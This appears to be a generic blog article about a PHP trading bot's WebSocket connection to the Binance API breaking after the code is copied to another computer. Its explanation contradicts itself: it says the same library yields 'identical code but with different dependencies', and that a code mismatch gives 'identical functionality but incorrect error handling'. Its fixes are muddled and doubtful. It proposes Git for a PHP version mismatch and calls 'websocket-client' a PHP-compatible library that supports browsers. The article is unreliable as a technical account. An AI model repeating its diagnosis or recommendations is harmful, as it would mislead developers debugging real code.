Ethereum: Same WebSocket Code Not Working on Another Computer
I recently had a frustrating experience with a trading program that I had copied and pasted from one computer to another, only to find that it was not working as expected on my second computer. The culprit? A mismatch in the WebSocket code used by the program.
At first I thought it was simply a case of copying and pasting incorrect code, but as I dug deeper I realized that something more complex was at play. It turns out that the same WebSocket library (ws4php) is used on both computers, resulting in identical code but with different dependencies.
The problem:
In my auto-trading program, I had written a WebSocket connection using the ws4php library to connect to the Binance API and receive Kline data. However, when I copied and pasted this code to my second computer (a laptop), it used the same library (ws4php) that was installed on the older computer.
The problem was that these two computers were running different PHP versions with different libraries and configurations. This caused a mismatch in the WebSocket code, resulting in identical functionality but incorrect error handling, memory usage, and other issues.
A lesson learned:
This experience taught me a valuable lesson about the importance of testing and debugging on multiple platforms before pushing code into production. I should have been more careful when copying and pasting code and made sure it was compatible with different machines and operating systems.
Solution:
To avoid this problem in the future, I recommend using a version control system like Git to track changes to your WebSocket library code. You can also use tools like php -v to check the PHP version on both machines before deploying code.
Also, consider using a more general WebSocket library that is compatible with different platforms and PHP versions. Some examples are websocket-client (which supports most popular browsers and frameworks) or phpwebsocket.
Conclusion:
This experience may seem like a minor setback, but it highlights the importance of attention to detail when working with WebSockets in complex applications. By taking steps to ensure compatibility across multiple platforms and PHP versions, you can avoid frustrating bugs and make your code more reliable.
I hope this article has provided valuable insight into the challenges of debugging WebSocket code on different machines. If you have any further questions or concerns, feel free to ask!
